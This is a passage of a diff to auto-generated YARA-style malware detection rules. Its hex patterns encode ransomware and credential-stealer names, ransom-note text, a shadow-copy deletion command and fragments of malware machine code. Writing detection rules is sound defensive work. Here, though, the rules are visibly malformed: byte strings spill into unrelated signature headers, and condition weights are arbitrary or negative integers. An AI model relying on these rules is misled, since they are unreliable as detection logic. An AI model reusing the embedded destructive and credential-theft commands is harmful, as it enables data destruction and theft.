1)*4383+(#a_6f_7 & 1)*29793+(#a_6b_8 & 1)*30318+(#a_31_9 & 1)*22102) >=10 } -rule _InfrastructureShared_17633{ +rule _InfrastructureShared_18780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211060,7 +225020,7 @@ rule _InfrastructureShared_17633{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28265+(#a_65_2 & 1)*13876+(#a_64_3 & 1)*26740+(#a_70_4 & 1)*29216+(#a_2e_5 & 1)*25710+(#a_3a_7 & 1)*17748+(#a_00_8 & 1)*115) >=10 } -rule _InfrastructureShared_17634{ +rule _InfrastructureShared_18781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211072,13 +225032,13 @@ rule _InfrastructureShared_17634{ $a_00_4 = {0a 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f } //15 $a_53_5 = {4c 2f 52 61 74 2e 52 48 42 21 4d 54 42 00 02 00 1f 03 50 45 00 00 4c 01 03 90 01 11 0b 01 50 00 00 00 03 00 00 14 00 00 00 00 00 00 e6 1f 03 90 00 03 00 2a 00 70 00 72 00 65 00 73 00 74 00 61 00 73 00 65 00 72 00 76 00 69 00 63 00 } //14962 $a_00_6 = {73 00 6d 00 78 00 2e 00 63 00 6f 00 6d 00 03 00 16 00 43 00 69 00 74 00 69 00 62 00 61 00 6e 00 61 00 6d 00 65 00 78 00 01 00 1e 00 42 00 61 00 6e 00 63 00 6f 00 20 00 53 00 61 00 6e 00 74 00 61 00 6e 00 64 00 65 00 72 00 01 00 0e 00 48 00 53 00 42 00 43 00 6e 00 65 00 74 00 01 00 10 00 49 00 6e 00 74 00 65 00 72 00 63 00 61 00 6d } //105 - $a_00_8 = {64 00 65 00 43 00 75 00 72 00 73 00 6f 00 72 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 4b 00 4d 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 52 00 01 00 14 00 43 00 6c 00 69 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 78 37 01 00 17 00 14 00 05 00 21 23 41 4c 46 3a 52 61 6e } //72 - $a_3a_9 = {69 6e 33 32 2f 57 61 73 74 65 64 4c 6f 63 6b 65 72 2e 53 49 42 21 4d 54 42 00 0a 00 4d 02 b8 d5 11 00 00 85 c0 74 48 c7 45 e4 90 01 04 8b 4d f8 3b 0d 90 01 04 90 13 68 90 01 04 6a 00 ff 15 90 01 04 03 45 f8 8b 55 f4 0f be 04 02 89 45 e4 8b 4d f8 03 4d f0 8b 55 fc 8a 45 e4 88 04 0a 8b 4d f8 83 c1 01 89 4d f8 eb af 90 00 0a 00 } //28531 + $a_00_8 = {64 00 65 00 43 00 75 00 72 00 73 00 6f 00 72 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 4b 00 4d 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 52 00 01 00 14 00 43 00 6c 00 69 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 78 37 01 00 10 00 10 00 08 00 21 23 41 4c 46 3a 48 61 63 } //72 + $a_6f_9 = {3a 57 69 6e 36 34 2f 50 57 44 75 6d 70 2e 50 54 43 21 4d 54 42 00 04 00 21 03 4c 2b e6 4c 89 74 24 90 01 01 4d 8b cc 4c 8b c6 48 8b d7 4c 8b 74 24 90 01 01 49 8b ce ff 15 90 00 02 00 24 03 4c 89 64 24 90 01 01 44 89 64 24 90 01 01 4c 89 64 24 90 01 01 4c 8b cb 45 33 c0 33 d2 49 8b ce ff 15 90 00 02 00 26 00 43 68 72 6f 6d 65 20 41 } //21611 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32484+(#a_65_2 & 1)*27750+(#a_6e_3 & 1)*28265+(#a_00_4 & 1)*15+(#a_53_5 & 1)*14962+(#a_00_6 & 1)*105+(#a_00_8 & 1)*72+(#a_3a_9 & 1)*28531) >=10 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32484+(#a_65_2 & 1)*27750+(#a_6e_3 & 1)*28265+(#a_00_4 & 1)*15+(#a_53_5 & 1)*14962+(#a_00_6 & 1)*105+(#a_00_8 & 1)*72+(#a_6f_9 & 1)*21611) >=10 } -rule _InfrastructureShared_17635{ +rule _InfrastructureShared_18782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0a 00 21 " @@ -211086,17 +225046,34 @@ rule _InfrastructureShared_17635{ $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 61 74 2e 52 48 42 21 4d 54 42 00 02 00 1f 03 50 45 00 00 4c 01 03 90 01 11 0b 01 50 00 00 00 03 00 00 14 00 00 00 00 00 00 e6 1f 03 90 00 03 00 2a 00 70 00 72 00 } //21539 $a_00_1 = {74 00 61 00 73 00 65 00 72 00 76 00 69 00 63 00 69 00 6f 00 73 00 6d 00 78 00 2e 00 63 00 6f 00 6d 00 03 00 16 00 43 00 69 00 74 00 69 00 62 00 61 00 6e 00 61 00 6d 00 65 00 78 00 01 00 1e 00 42 00 61 00 6e 00 63 00 6f 00 20 00 53 00 61 00 6e 00 74 00 61 00 6e 00 64 00 65 00 72 00 01 00 0e 00 48 00 53 00 42 00 43 00 6e 00 65 00 74 00 01 00 10 } //101 $a_00_3 = {72 00 63 00 61 00 6d 00 01 00 14 00 48 00 69 00 64 00 65 00 43 00 75 00 72 00 73 00 6f 00 72 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 4b 00 4d 00 01 00 12 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 52 00 01 00 14 00 43 00 6c 00 69 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 } //116 - $a_01_4 = {00 17 00 14 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 73 74 65 64 4c 6f 63 6b 65 72 2e 53 49 42 21 4d 54 42 00 0a 00 4d 02 b8 d5 11 00 } //30720 - $a_74_5 = {c7 45 e4 90 01 04 8b 4d f8 3b 0d 90 01 04 90 13 68 90 01 04 6a 00 ff 15 90 01 04 03 45 f8 8b 55 f4 0f be 04 02 89 45 e4 8b 4d f8 03 4d f0 8b 55 fc 8a 45 e4 88 04 0a 8b 4d f8 83 c1 01 89 4d f8 eb af 90 00 0a 00 3b 02 8d 8c 10 04 2f 40 00 89 4d 90 01 01 8b 15 90 02 04 89 15 90 02 04 8b 45 90 01 01 a3 90 02 04 8b 4d 90 01 01 83 c1 04 89 4d 90 01 01 90 02 0e e8 90 02 04 ba 90 02 04 85 d2 90 00 01 00 27 80 01 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 41 6c 6c 20 2f 51 75 69 65 74 01 00 20 80 01 59 6f 75 72 20 6e 65 74 77 6f 72 6b } //-31488 - $a_73_6 = {62 65 65 6e 20 70 65 6e 65 74 72 61 74 65 64 01 00 21 80 01 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 73 74 72 6f 6e 67 20 61 6c 67 6f 72 79 74 68 6d 00 00 78 37 01 00 2f 00 2f 00 09 00 21 23 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 47 61 6d 61 6e 69 61 } //26656 - $a_6e_7 = {0a 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 0a 00 0c 01 46 50 55 4d 61 73 6b 56 61 6c 75 65 05 00 0a 01 49 6e 73 65 72 74 2e 64 6c 6c 05 00 0b 01 4a 75 6d 70 48 6f 6f 6b 4f 66 66 05 00 0a 01 4a 75 6d 70 48 6f 6f 6b 4f 6e 05 00 13 00 55 6e 68 6f 6f 6b 57 } //26414 - $a_6f_8 = {73 48 6f 6f 6b 45 78 05 00 11 01 53 65 74 57 69 6e 64 6f 77 73 48 6f 6f 6b 45 78 41 01 00 41 03 55 8b ec 8b 45 10 50 8b 45 0c 50 8b 45 08 50 a1 90 01 04 50 e8 90 01 02 ff ff 5d c2 0c 00 8b c0 6a 00 a1 90 01 03 00 50 b8 90 01 02 40 00 50 6a 90 01 01 e8 90 01 02 ff ff a3 90 01 03 00 c3 90 00 01 00 3b } //28265 - $a_ec_9 = {45 10 50 8b 45 0c 50 8b 45 08 50 a1 80 96 7c 21 50 e8 56 f8 ff ff 5d c2 0c 00 8b c0 6a 00 a1 60 96 7c 21 50 b8 40 6d 76 21 50 6a 03 e8 9b fc ff ff a3 80 96 7c 21 c3 00 00 78 37 01 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 48 69 67 68 56 69 7a 2e 41 21 64 68 61 00 64 00 aa 01 69 00 6e 00 73 00 65 00 72 00 74 00 20 00 69 00 6e 00 74 00 6f 00 20 00 64 00 61 00 74 00 61 } //21761 + $a_01_4 = {00 10 00 10 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 50 57 44 75 6d 70 2e 50 54 43 21 4d 54 42 00 04 00 21 03 4c 2b e6 4c 89 74 24 90 } //30720 + $a_8b_5 = {4c 8b c6 48 8b d7 4c 8b 74 24 90 01 01 49 8b ce ff 15 90 00 02 00 24 03 4c 89 64 24 90 01 01 44 89 64 24 90 01 01 4c 89 64 24 90 01 01 4c 8b cb 45 33 c0 33 d2 49 8b ce ff 15 90 00 02 00 26 00 43 68 72 6f 6d 65 20 41 70 70 2d 42 6f } //257 + $a_20_6 = {6e 63 72 79 70 74 69 6f 6e 20 44 65 63 72 79 70 74 69 6f 6e 02 00 25 00 43 6f 6f 6b 69 65 73 20 2f 20 50 61 73 73 77 6f 72 64 73 20 2f 20 50 61 79 6d 65 6e 74 20 4d 65 74 68 6f 64 73 02 00 20 00 52 65 66 6c 65 63 74 69 76 65 20 44 4c 4c 20 50 72 6f 63 65 73 73 20 49 6e 6a 65 63 74 69 6f 6e 02 00 12 } //28277 + $a_72_7 = {6d 65 5f 64 65 63 72 79 70 74 2e 64 6c 6c 01 00 17 00 54 65 72 6d 69 6e 61 74 69 6e 67 20 62 72 6f 77 73 65 72 20 50 49 44 01 00 12 00 63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 6c 6f 67 00 00 78 37 01 00 17 00 14 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 73 74 65 64 4c 6f 63 6b } //25344 + $a_53_8 = {42 21 4d 54 42 00 0a 00 4d 02 b8 d5 11 00 00 85 c0 74 48 c7 45 e4 90 01 04 8b 4d f8 3b 0d 90 01 04 90 13 68 90 01 04 6a 00 ff 15 90 01 04 } //29285 + $a_8b_9 = {f4 0f be 04 02 89 45 e4 8b 4d f8 03 4d f0 8b 55 fc 8a 45 e4 88 04 0a 8b 4d f8 83 c1 01 89 4d f8 eb af 90 00 0a 00 3b 02 8d 8c 10 04 2f 40 00 89 4d 90 01 01 8b 15 90 02 04 89 15 90 02 04 8b 45 90 01 01 a3 90 02 04 8b 4d 90 01 01 83 c1 04 89 4d 90 01 01 90 02 0e e8 90 02 04 ba 90 02 04 85 d2 90 00 01 00 27 80 01 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 41 6c 6c 20 2f 51 75 69 65 74 01 00 20 80 01 59 6f 75 72 20 6e 65 74 77 6f 72 6b 20 68 61 73 20 62 65 65 6e 20 70 65 6e 65 74 72 61 74 65 64 01 00 21 80 01 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 73 74 72 6f 6e 67 20 61 6c 67 6f 72 79 74 68 6d 00 00 78 37 01 00 2f 00 2f 00 09 00 21 23 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 } //17667 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_3 & 1)*116+(#a_01_4 & 1)*30720+(#a_74_5 & 1)*-31488+(#a_73_6 & 1)*26656+(#a_6e_7 & 1)*26414+(#a_6f_8 & 1)*28265+(#a_ec_9 & 1)*21761) >=15 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_3 & 1)*116+(#a_01_4 & 1)*30720+(#a_8b_5 & 1)*257+(#a_20_6 & 1)*28277+(#a_72_7 & 1)*25344+(#a_53_8 & 1)*29285+(#a_8b_9 & 1)*17667) >=15 } -rule _InfrastructureShared_17636{ +rule _InfrastructureShared_18783{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 50 57 44 75 6d 70 2e 50 54 43 21 4d 54 42 00 04 00 21 03 4c 2b e6 4c 89 74 24 90 01 01 4d 8b cc 4c 8b c6 48 8b d7 4c 8b 74 24 90 01 01 49 8b ce ff 15 90 00 02 00 24 03 4c 89 64 24 90 } //16675 + $a_89_1 = {24 90 01 01 4c 89 64 24 90 01 01 4c 8b cb 45 33 c0 33 d2 49 8b ce ff 15 90 00 02 00 26 00 43 68 72 6f 6d 65 20 41 70 70 2d 42 6f 75 6e 64 20 45 6e 63 72 79 70 74 69 6f 6e 20 44 65 63 72 79 70 74 69 6f 6e } //257 + $a_00_2 = {43 6f 6f 6b 69 65 73 20 2f 20 50 61 73 73 77 6f 72 64 73 20 2f 20 50 61 79 6d 65 6e 74 20 4d 65 74 68 6f 64 73 } //2 Cookies / Passwords / Payment Methods + $a_00_3 = {52 65 66 6c 65 63 74 69 76 65 20 44 4c 4c 20 50 72 6f 63 65 73 73 20 49 6e 6a 65 63 74 69 6f 6e } //2 Reflective DLL Process Injection + $a_00_4 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 64 6c 6c } //2 chrome_decrypt.dll + $a_00_5 = {54 65 72 6d 69 6e 61 74 69 6e 67 20 62 72 6f 77 73 65 72 20 50 49 44 } //1 Terminating browser PID + $a_00_6 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 6c 6f 67 } //1 chrome_decrypt.log + $a_37_7 = {00 17 00 14 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 57 61 73 74 65 64 4c 6f 63 6b 65 72 2e 53 49 42 21 4d 54 42 00 0a 00 4d 02 b8 d5 11 00 00 85 c0 74 48 c7 45 e4 90 01 04 8b 4d f8 3b 0d 90 01 04 90 13 68 90 01 04 6a 00 ff 15 90 01 04 03 45 f8 8b 55 f4 0f be 04 02 89 45 e4 8b 4d f8 03 4d f0 8b 55 fc 8a 45 e4 88 04 0a 8b 4d f8 83 c1 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*257+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_37_7 & 1)*0) >=16 + +} +rule _InfrastructureShared_18784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 14 00 05 00 21 " @@ -211110,7 +225087,7 @@ rule _InfrastructureShared_17636{ ((#a_46_0 & 1)*16675+(#a_f4_1 & 1)*-29704+(#a_04_2 & 1)*-28440+(#a_d2_3 & 1)*1026+(#a_6f_4 & 1)*21539) >=20 } -rule _InfrastructureShared_17637{ +rule _InfrastructureShared_18785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2f 00 2f 00 09 00 21 " @@ -211127,7 +225104,7 @@ rule _InfrastructureShared_17637{ ((#a_6f_0 & 1)*21539+(#a_6f_1 & 1)*18544+(#a_00_2 & 1)*-15616+(#a_00_3 & 1)*116+(#a_00_5 & 1)*101+(#a_00_6 & 1)*42+(#a_2f_7 & 1)*12090+(#a_2a_8 & 1)*10801) >=47 } -rule _InfrastructureShared_17638{ +rule _InfrastructureShared_18786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -211137,7 +225114,7 @@ rule _InfrastructureShared_17638{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_17639{ +rule _InfrastructureShared_18787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -211151,7 +225128,7 @@ rule _InfrastructureShared_17639{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29738+(#a_2a_2 & 1)*14634+(#a_2a_3 & 1)*10806+(#a_72_4 & 1)*22074) >=1 } -rule _InfrastructureShared_17640{ +rule _InfrastructureShared_18788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -211167,7 +225144,7 @@ rule _InfrastructureShared_17640{ ((#a_54_0 & 1)*18467+(#a_35_2 & 1)*400+(#a_01_3 & 1)*1284+(#a_00_4 & 1)*400+(#a_01_5 & 1)*9348+(#a_00_6 & 1)*789+(#a_03_7 & 1)*1) >=1 } -rule _InfrastructureShared_17641{ +rule _InfrastructureShared_18789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -211188,7 +225165,7 @@ rule _InfrastructureShared_17641{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*14848+(#a_fc_2 & 1)*-80+(#a_4d_3 & 1)*-28528+(#a_6f_4 & 1)*28279+(#a_6c_5 & 1)*12851+(#a_77_6 & 1)*8293+(#a_46_7 & 1)*8292+(#a_6e_8 & 1)*27247+(#a_01_9 & 1)*17862+(#a_90_10 & 1)*-14743+(#a_42_11 & 1)*12851) >=1 } -rule _InfrastructureShared_17642{ +rule _InfrastructureShared_18790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -211200,7 +225177,7 @@ rule _InfrastructureShared_17642{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*6225+(#a_eb_2 & 1)*400) >=2 } -rule _InfrastructureShared_17643{ +rule _InfrastructureShared_18791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -211212,7 +225189,7 @@ rule _InfrastructureShared_17643{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*29281+(#a_73_2 & 1)*28516) >=3 } -rule _InfrastructureShared_17644{ +rule _InfrastructureShared_18792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -211224,7 +225201,7 @@ rule _InfrastructureShared_17644{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28643+(#a_01_2 & 1)*-28603) >=3 } -rule _InfrastructureShared_17645{ +rule _InfrastructureShared_18793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -211240,7 +225217,7 @@ rule _InfrastructureShared_17645{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25180+(#a_46_2 & 1)*10784+(#a_68_3 & 1)*24946+(#a_6e_4 & 1)*18527+(#a_00_6 & 1)*109+(#a_00_8 & 1)*105) >=3 } -rule _InfrastructureShared_17646{ +rule _InfrastructureShared_18794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211252,7 +225229,7 @@ rule _InfrastructureShared_17646{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_3 & 1)*92) >=4 } -rule _InfrastructureShared_17647{ +rule _InfrastructureShared_18795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -211265,7 +225242,7 @@ rule _InfrastructureShared_17647{ ((#a_77_0 & 1)*19491+(#a_68_1 & 1)*101+(#a_00_3 & 1)*115+(#a_09_4 & 1)*-23905) >=4 } -rule _InfrastructureShared_17648{ +rule _InfrastructureShared_18796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -211275,7 +225252,23 @@ rule _InfrastructureShared_17648{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17649{ +rule _InfrastructureShared_18797{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 36 31 38 21 4d 54 42 00 01 00 2b 81 01 61 6c 67 65 73 69 6f 6d 65 74 65 72 5c 73 6c 66 61 6e 67 73 74 65 6e 5c 70 69 67 65 62 65 6b 65 6e 64 74 73 6b 61 62 65 72 6e 65 01 00 28 81 01 74 75 6b } //18467 + $a_6e_1 = {6e 73 74 61 6c 6c 5c 73 63 79 6c 6c 69 75 6d 5c 54 65 6c 65 66 6f 6e 69 73 74 65 72 6e 65 39 34 01 00 10 81 01 64 69 73 74 72 69 62 75 65 72 65 72 2e 65 78 65 01 00 2b 81 01 47 65 64 65 6f 73 74 65 6e 5c 55 6e 69 6e 73 74 61 6c 6c 5c 68 61 6c 76 66 65 6d } //23653 + $a_72_2 = {66 64 73 65 6c 73 64 61 67 65 6e 01 00 20 81 01 5c 61 62 6f 6c 69 74 69 6f 6e 69 73 65 64 5c 61 6e 74 69 65 6e 64 6f 77 6d 65 6e 74 2e 69 6e 69 01 00 22 81 01 64 69 73 6a 6f 69 6e 74 65 64 6c 79 5c 43 69 76 69 6c 69 7a 65 65 32 35 5c 64 65 6d 69 76 6f 6c 74 73 01 00 1c 81 01 5c 70 61 72 6f } //24947 + $a_6e_3 = {6e 65 78 63 65 70 74 69 6f 6e 61 6c 6c 79 2e 6c 6e 6b 00 00 78 38 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 52 46 21 4d 54 42 00 01 00 43 01 43 3a 5c 55 73 65 72 73 5c 41 64 6d 69 6e 69 73 74 72 61 } //26980 + $a_5c_4 = {6f 75 72 63 65 5c 72 65 70 6f 73 5c 75 75 69 64 61 62 75 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 75 75 69 64 61 62 75 2e 70 64 62 01 00 24 01 65 34 38 33 34 38 66 63 2d 65 38 66 30 2d 30 30 63 38 2d 30 30 30 30 2d 34 31 35 31 34 31 35 30 35 32 35 31 01 00 24 01 64 32 33 31 34 38 35 36 2d 34 38 36 35 2d 35 32 38 62 2d 36 30 34 38 2d 38 62 35 } //28532 + $a_34_5 = {38 62 35 32 01 00 24 01 37 32 38 62 34 38 32 30 2d 34 38 35 30 2d 62 37 30 66 2d 34 61 34 61 2d 34 64 33 31 63 39 34 38 33 31 63 30 01 00 11 01 49 73 44 65 62 75 67 67 } //12594 + $a_72_6 = {73 65 6e 74 01 00 0f 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 57 01 00 11 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 01 00 09 01 47 65 74 43 50 49 6e 66 6f 00 00 78 38 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a } //29285 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*23653+(#a_72_2 & 1)*24947+(#a_6e_3 & 1)*26980+(#a_5c_4 & 1)*28532+(#a_34_5 & 1)*12594+(#a_72_6 & 1)*29285) >=7 + +} +rule _InfrastructureShared_18798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211292,7 +225285,7 @@ rule _InfrastructureShared_17649{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*24932+(#a_35_2 & 1)*14392+(#a_01_3 & 1)*29541+(#a_34_4 & 1)*25966+(#a_61_5 & 1)*24944+(#a_69_6 & 1)*14962+(#a_01_7 & 1)*-28603) >=8 } -rule _InfrastructureShared_17650{ +rule _InfrastructureShared_18799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -211309,7 +225302,7 @@ rule _InfrastructureShared_17650{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_72_3 & 1)*28673+(#a_54_5 & 1)*8448+(#a_65_6 & 1)*7168+(#a_74_7 & 1)*31090+(#a_48_8 & 1)*400+(#a_48_9 & 1)*400) >=10 } -rule _InfrastructureShared_17651{ +rule _InfrastructureShared_18800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -211322,7 +225315,7 @@ rule _InfrastructureShared_17651{ ((#a_4c_0 & 1)*21539+(#a_f7_1 & 1)*-15477+(#a_c3_2 & 1)*18691+(#a_41_3 & 1)*13266) >=11 } -rule _InfrastructureShared_17652{ +rule _InfrastructureShared_18801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -211337,7 +225330,7 @@ rule _InfrastructureShared_17652{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*13107+(#a_43_2 & 1)*17205+(#a_00_3 & 1)*794+(#a_43_4 & 1)*17206+(#a_00_5 & 1)*32131) >=11 } -rule _InfrastructureShared_17653{ +rule _InfrastructureShared_18802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -211358,7 +225351,7 @@ rule _InfrastructureShared_17653{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_38_11 & 1)*0) >=11 } -rule _InfrastructureShared_17654{ +rule _InfrastructureShared_18803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -211379,7 +225372,7 @@ rule _InfrastructureShared_17654{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25931+(#a_72_2 & 1)*20035+(#a_48_3 & 1)*25931+(#a_36_4 & 1)*13125+(#a_72_5 & 1)*28531+(#a_74_6 & 1)*27753+(#a_02_7 & 1)*25445+(#a_80_8 & 1)*2+(#a_80_9 & 1)*2+(#a_80_10 & 1)*2+(#a_80_11 & 1)*2) >=12 } -rule _InfrastructureShared_17655{ +rule _InfrastructureShared_18804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -211394,7 +225387,7 @@ rule _InfrastructureShared_17655{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16705+(#a_75_2 & 1)*29541+(#a_74_3 & 1)*31092+(#a_67_4 & 1)*12108+(#a_51_6 & 1)*19969) >=15 } -rule _InfrastructureShared_17656{ +rule _InfrastructureShared_18805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0d 00 21 " @@ -211413,7 +225406,7 @@ rule _InfrastructureShared_17656{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*26485+(#a_65_2 & 1)*26229+(#a_44_3 & 1)*30064+(#a_01_5 & 1)*-24320+(#a_53_6 & 1)*28784+(#a_73_7 & 1)*11892+(#a_00_9 & 1)*41+(#a_70_10 & 1)*24936+(#a_50_12 & 1)*5120) >=26 } -rule _InfrastructureShared_17657{ +rule _InfrastructureShared_18806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 06 00 21 " @@ -211427,7 +225420,7 @@ rule _InfrastructureShared_17657{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16728+(#a_90_2 & 1)*3+(#a_41_3 & 1)*11891+(#a_00_5 & 1)*80) >=32 } -rule _InfrastructureShared_17658{ +rule _InfrastructureShared_18807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 08 00 21 " @@ -211443,7 +225436,7 @@ rule _InfrastructureShared_17658{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_00_2 & 1)*115+(#a_00_4 & 1)*32+(#a_6e_5 & 1)*22330+(#a_02_6 & 1)*12079+(#a_62_7 & 1)*11621) >=33 } -rule _InfrastructureShared_17659{ +rule _InfrastructureShared_18808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 20 00 09 00 21 " @@ -211460,7 +225453,7 @@ rule _InfrastructureShared_17659{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_2f_2 & 1)*28788+(#a_64_3 & 1)*-32732+(#a_37_4 & 1)*13113+(#a_74_5 & 1)*21087+(#a_00_6 & 1)*87+(#a_00_8 & 1)*86) >=32 } -rule _InfrastructureShared_17660{ +rule _InfrastructureShared_18809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ 